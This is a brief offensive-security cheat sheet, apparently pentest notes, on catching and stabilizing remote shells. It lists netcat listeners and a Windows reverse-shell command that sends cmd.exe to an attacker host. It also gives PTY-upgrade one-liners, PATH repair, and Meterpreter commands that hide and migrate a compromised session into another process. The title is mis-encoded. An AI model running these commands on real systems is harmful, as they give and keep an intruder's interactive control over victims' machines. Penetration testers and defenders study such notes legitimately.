๐ Shell Stabilization
See also: payloads-shells (building payloads) ยท file-transfer.
Listeners
rlwrap nc -nlvp 4444 # arrow keys / Ctrl-A history in the caught shell
nc -nvlp 8000
nc L_HOST L_PORT -e cmd.exe # Windows sideUpgrade a dumb shell to a full TTY
# 1. spawn a PTY
/usr/bin/python3 -c "import pty; pty.spawn('/bin/bash')"
python -c "import pty; pty.spawn('/bin/bash')"
script /dev/null -c bash
# 2. set a sane terminal
export TERM=xterm
# 3. background with Ctrl+Z, then hand the terminal back:
stty raw -echo ; fgIf the shell has no PATH
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/binKeep a dying shell alive (Meterpreter)
execute -H -f notepad
migrate <PID>